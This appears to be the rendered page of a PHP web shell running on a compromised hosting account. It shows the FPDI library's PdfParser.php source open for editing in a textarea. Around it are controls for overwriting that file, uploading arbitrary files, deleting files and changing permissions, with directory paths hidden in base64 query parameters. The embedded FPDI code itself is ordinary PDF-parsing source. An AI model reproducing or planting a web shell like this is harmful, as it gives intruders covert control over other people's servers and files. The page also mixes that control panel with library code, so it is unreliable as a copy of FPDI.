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<hr>PdfParser.php<form method=post action="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXI%3D&f=UGRmUGFyc2VyLnBocA%3D%3D"><input name="f" value="PdfParser.php"><textarea name="t">&lt;?php
/**
 * This file is part of FPDI
 *
 * @package   setasign\Fpdi
 * @copyright Copyright (c) 2019 Setasign - Jan Slabon (https://www.setasign.com)
 * @license   http://opensource.org/licenses/mit-license The MIT License
 */

namespace setasign\Fpdi\PdfParser;

use setasign\Fpdi\PdfParser\CrossReference\CrossReference;
use setasign\Fpdi\PdfParser\CrossReference\CrossReferenceException;
use setasign\Fpdi\PdfParser\Type\PdfArray;
use setasign\Fpdi\PdfParser\Type\PdfBoolean;
use setasign\Fpdi\PdfParser\Type\PdfDictionary;
use setasign\Fpdi\PdfParser\Type\PdfHexString;
use setasign\Fpdi\PdfParser\Type\PdfIndirectObject;
use setasign\Fpdi\PdfParser\Type\PdfIndirectObjectReference;
use setasign\Fpdi\PdfParser\Type\PdfName;
use setasign\Fpdi\PdfParser\Type\PdfNull;
use setasign\Fpdi\PdfParser\Type\PdfNumeric;
use setasign\Fpdi\PdfParser\Type\PdfString;
use setasign\Fpdi\PdfParser\Type\PdfToken;
use setasign\Fpdi\PdfParser\Type\PdfType;

/**
 * A PDF parser class
 *
 * @package setasign\Fpdi\PdfParser
 */
class PdfParser
{
    /**
     * @var StreamReader
     */
    protected $streamReader;

    /**
     * @var Tokenizer
     */
    protected $tokenizer;

    /**
     * The file header.
     *
     * @var string
     */
    protected $fileHeader;

    /**
     * The offset to the file header.
     *
     * @var int
     */
    protected $fileHeaderOffset;

    /**
     * @var CrossReference
     */
    protected $xref;

    /**
     * All read objects.
     *
     * @var array
     */
    protected $objects = [];

    /**
     * PdfParser constructor.
     *
     * @param StreamReader $streamReader
     */
    public function __construct(StreamReader $streamReader)
    {
        $this-&gt;streamReader = $streamReader;
        $this-&gt;tokenizer = new Tokenizer($streamReader);
    }

    /**
     * Removes cycled references.
     *
     * @internal
     */
    public function cleanUp()
    {
        $this-&gt;xref = null;
    }

    /**
     * Get the stream reader instance.
     *
     * @return StreamReader
     */
    public function getStreamReader()
    {
        return $this-&gt;streamReader;
    }

    /**
     * Get the tokenizer instance.
     *
     * @return Tokenizer
     */
    public function getTokenizer()
    {
        return $this-&gt;tokenizer;
    }

    /**
     * Resolves the file header.
     *
     * @throws PdfParserException
     * @return int
     */
    protected function resolveFileHeader()
    {
        if ($this-&gt;fileHeader) {
            return $this-&gt;fileHeaderOffset;
        }

        $this-&gt;streamReader-&gt;reset(0);
        $offset = false;
        $maxIterations = 1000;
        while (true) {
            $buffer = $this-&gt;streamReader-&gt;getBuffer(false);
            $offset = \strpos($buffer, '%PDF-');
            if ($offset === false) {
                if (!$this-&gt;streamReader-&gt;increaseLength(100) || (--$maxIterations === 0)) {
                    throw new PdfParserException(
                        'Unable to find PDF file header.',
                        PdfParserException::FILE_HEADER_NOT_FOUND
                    );
                }
                continue;
            }
            break;
        }

        $this-&gt;fileHeaderOffset = $offset;
        $this-&gt;streamReader-&gt;setOffset($offset);

        $this-&gt;fileHeader = \trim($this-&gt;streamReader-&gt;readLine());
        return $this-&gt;fileHeaderOffset;
    }

    /**
     * Get the cross reference instance.
     *
     * @return CrossReference
     * @throws CrossReferenceException
     * @throws PdfParserException
     */
    public function getCrossReference()
    {
        if ($this-&gt;xref === null) {
            $this-&gt;xref = new CrossReference($this, $this-&gt;resolveFileHeader());
        }

        return $this-&gt;xref;
    }

    /**
     * Get the PDF version.
     *
     * @return int[] An array of major and minor version.
     * @throws PdfParserException
     */
    public function getPdfVersion()
    {
        $this-&gt;resolveFileHeader();

        if (\preg_match('/%PDF-(\d)\.(\d)/', $this-&gt;fileHeader, $result) === 0) {
            throw new PdfParserException(
                'Unable to extract PDF version from file header.',
                PdfParserException::PDF_VERSION_NOT_FOUND
            );
        }
        list(, $major, $minor) = $result;

        $catalog = $this-&gt;getCatalog();
        if (isset($catalog-&gt;value['Version'])) {
            $versionParts = \explode('.', PdfName::unescape(PdfType::resolve($catalog-&gt;value['Version'], $this)-&gt;value));
            if (count($versionParts) === 2) {
                list($major, $minor) = $versionParts;
            }
        }

        return [(int) $major, (int) $minor];
    }

    /**
     * Get the catalog dictionary.
     *
     * @return PdfDictionary
     * @throws Type\PdfTypeException
     * @throws CrossReferenceException
     * @throws PdfParserException
     */
    public function getCatalog()
    {
        $xref = $this-&gt;getCrossReference();
        $trailer = $xref-&gt;getTrailer();

        $catalog = PdfType::resolve(PdfDictionary::get($trailer, 'Root'), $this);

        return PdfDictionary::ensure($catalog);
    }

    /**
     * Get an indirect object by its object number.
     *
     * @param int $objectNumber
     * @param bool $cache
     * @return PdfIndirectObject
     * @throws CrossReferenceException
     * @throws PdfParserException
     */
    public function getIndirectObject($objectNumber, $cache = false)
    {
        $objectNumber = (int) $objectNumber;
        if (isset($this-&gt;objects[$objectNumber])) {
            return $this-&gt;objects[$objectNumber];
        }

        $xref = $this-&gt;getCrossReference();
        $object = $xref-&gt;getIndirectObject($objectNumber);

        if ($cache) {
            $this-&gt;objects[$objectNumber] = $object;
        }

        return $object;
    }

    /**
     * Read a PDF value.
     *
     * @param null|bool|string $token
     * @param null|string $expectedType
     * @return bool|PdfArray|PdfBoolean|PdfHexString|PdfName|PdfNull|PdfNumeric|PdfString|PdfToken|PdfIndirectObjectReference
     * @throws Type\PdfTypeException
     */
    public function readValue($token = null, $expectedType = null)
    {
        if ($token === null) {
            $token = $this-&gt;tokenizer-&gt;getNextToken();
        }

        if ($token === false) {
            if ($expectedType !== null) {
                throw new Type\PdfTypeException('Got unexpected token type.', Type\PdfTypeException::INVALID_DATA_TYPE);
            }
            return false;
        }

        switch ($token) {
            case '(':
                $this-&gt;ensureExpectedType($token, $expectedType);
                return PdfString::parse($this-&gt;streamReader);

            case '&lt;':
                if ($this-&gt;streamReader-&gt;getByte() === '&lt;') {
                    $this-&gt;ensureExpectedType('&lt;&lt;', $expectedType);
                    $this-&gt;streamReader-&gt;addOffset(1);
                    return PdfDictionary::parse($this-&gt;tokenizer, $this-&gt;streamReader, $this);
                }

                $this-&gt;ensureExpectedType($token, $expectedType);
                return PdfHexString::parse($this-&gt;streamReader);

            case '/':
                $this-&gt;ensureExpectedType($token, $expectedType);
                return PdfName::parse($this-&gt;tokenizer, $this-&gt;streamReader);

            case '[':
                $this-&gt;ensureExpectedType($token, $expectedType);
                return PdfArray::parse($this-&gt;tokenizer, $this);

            default:
                if (\is_numeric($token)) {
                    if (($token2 = $this-&gt;tokenizer-&gt;getNextToken()) !== false) {
                        if (\is_numeric($token2)) {
                            if (($token3 = $this-&gt;tokenizer-&gt;getNextToken()) !== false) {
                                switch ($token3) {
                                    case 'obj':
                                        if ($expectedType !== null &amp;&amp; $expectedType !== PdfIndirectObject::class) {
                                            throw new Type\PdfTypeException(
                                                'Got unexpected token type.', Type\PdfTypeException::INVALID_DATA_TYPE
                                            );
                                        }

                                        return PdfIndirectObject::parse(
                                            $token,
                                            $token2,
                                            $this,
                                            $this-&gt;tokenizer,
                                            $this-&gt;streamReader
                                        );
                                    case 'R':
                                        if ($expectedType !== null &amp;&amp;
                                            $expectedType !== PdfIndirectObjectReference::class
                                        ) {
                                            throw new Type\PdfTypeException(
                                                'Got unexpected token type.', Type\PdfTypeException::INVALID_DATA_TYPE
                                            );
                                        }

                                        return PdfIndirectObjectReference::create($token, $token2);
                                }

                                $this-&gt;tokenizer-&gt;pushStack($token3);
                            }
                        }

                        $this-&gt;tokenizer-&gt;pushStack($token2);
                    }

                    if ($expectedType !== null &amp;&amp; $expectedType !== PdfNumeric::class) {
                        throw new Type\PdfTypeException(
                            'Got unexpected token type.', Type\PdfTypeException::INVALID_DATA_TYPE
                        );
                    }
                    return PdfNumeric::create($token);
                }

                if ($token === 'true' || $token === 'false') {
                    $this-&gt;ensureExpectedType($token, $expectedType);
                    return PdfBoolean::create($token === 'true');
                }

                if ($token === 'null') {
                    $this-&gt;ensureExpectedType($token, $expectedType);
                    return new PdfNull();
                }

                if ($expectedType !== null &amp;&amp; $expectedType !== PdfToken::class) {
                    throw new Type\PdfTypeException(
                        'Got unexpected token type.', Type\PdfTypeException::INVALID_DATA_TYPE
                    );
                }

                $v = new PdfToken();
                $v-&gt;value = $token;

                return $v;
        }
    }

    /**
     * Ensures that the token will evaluate to an expected object type (or not).
     *
     * @param string $token
     * @param string|null $expectedType
     * @return bool
     * @throws Type\PdfTypeException
     */
    private function ensureExpectedType($token, $expectedType)
    {
        static $mapping = [
            '(' =&gt; PdfString::class,
            '&lt;' =&gt; PdfHexString::class,
            '&lt;&lt;' =&gt; PdfDictionary::class,
            '/' =&gt; PdfName::class,
            '[' =&gt; PdfArray::class,
            'true' =&gt; PdfBoolean::class,
            'false' =&gt; PdfBoolean::class,
            'null' =&gt; PdfNull::class
        ];

        if ($expectedType === null || $mapping[$token] === $expectedType) {
            return true;
        }

        throw new Type\PdfTypeException('Got unexpected token type.', Type\PdfTypeException::INVALID_DATA_TYPE);
    }
}
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1s">/home/futureforeverco/public_html</a><hr>curdir: /home/futureforeverco/public_html/vendor/setasign/fpdi/src/PdfParser<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXI="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXI=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>150</td></tr><tr><td></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYw=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXI=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>66</td></tr><tr><td></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXIvQ3Jvc3NSZWZlcmVuY2U="/>CrossReference</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXI=&f=Q3Jvc3NSZWZlcmVuY2U=&c=`+btoa(c):0" value="0755"></td><td>165</td></tr><tr><td></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXIvRmlsdGVy"/>Filter</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXI=&f=RmlsdGVy&c=`+btoa(c):0" value="0755"></td><td>209</td></tr><tr><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXI=&x=UGRmUGFyc2VyLnBocA==">X</a></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXI=&f=UGRmUGFyc2VyLnBocA=="/>PdfParser.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXI=&f=UGRmUGFyc2VyLnBocA==&c=`+btoa(c):0" value="0644"></td><td>11985</td></tr><tr><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXI=&x=UGRmUGFyc2VyRXhjZXB0aW9uLnBocA==">X</a></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXI=&f=UGRmUGFyc2VyRXhjZXB0aW9uLnBocA=="/>PdfParserException.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXI=&f=UGRmUGFyc2VyRXhjZXB0aW9uLnBocA==&c=`+btoa(c):0" value="0644"></td><td>930</td></tr><tr><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXI=&x=U3RyZWFtUmVhZGVyLnBocA==">X</a></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXI=&f=U3RyZWFtUmVhZGVyLnBocA=="/>StreamReader.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXI=&f=U3RyZWFtUmVhZGVyLnBocA==&c=`+btoa(c):0" value="0644"></td><td>12401</td></tr><tr><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXI=&x=VG9rZW5pemVyLnBocA==">X</a></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXI=&f=VG9rZW5pemVyLnBocA=="/>Tokenizer.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXI=&f=VG9rZW5pemVyLnBocA==&c=`+btoa(c):0" value="0644"></td><td>3939</td></tr><tr><td></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXIvVHlwZQ=="/>Type</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9zZXRhc2lnbi9mcGRpL3NyYy9QZGZQYXJzZXI=&f=VHlwZQ==&c=`+btoa(c):0" value="0755"></td><td>333</td></tr></table>